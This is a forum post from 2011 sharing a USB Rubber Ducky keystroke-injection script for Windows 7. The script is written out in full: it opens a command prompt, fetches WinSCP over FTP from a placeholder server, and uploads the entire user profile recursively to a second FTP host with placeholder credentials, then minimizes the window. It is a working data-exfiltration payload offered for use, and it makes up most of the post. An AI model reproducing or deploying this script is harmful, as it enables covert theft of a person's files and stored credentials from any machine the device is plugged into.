devenv Posted October 27, 2011 Posted October 27, 2011 (edited) I got my rubber ducky today so I could test and fix my FTP script. Windows FTP commandline doesn't support recursive uploading of folders. Therefor I download winSCP first and use that to upload the files. winscp.com is 90kb, winscp.exe is 6mb. You can tweak the delays depending on your connection speed the user uploading the files to SERVER2 should only have write access. REM Author: Robert Lampe REM DuckenCoder: 1.0 REM Target: Windows 7 REM Description: This script downloads WinSCP and uploads the user profile, recursive, to a FTP server. CTRL ESC DELAY 200 STRING cmd ENTER DELAY 800 STRING cd %USERPROFILE% ENTER REM get WINSCP from a server. Because the user has rights to download files, be sure nothing else can be found. STRING ftp -i SERVER ENTER DELAY 800 STRING USERNAME ENTER STRING PASSWORD ENTER STRING GET WinSCP.com ENTER DELAY 200 STRING GET WinSCP.exe ENTER DELAY 3000 STRING quit ENTER REM FTP user needs only Write access, NOT read / delete access. STRING WinSCP.com /command "option batch abort" "option confirm off" "open ftp://USERNAME2:PASSWORD2@SERVER2" "put *.*" "close" "exit" ENTER ALT SPACE STRING N Edited November 1, 2011 by devenv Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.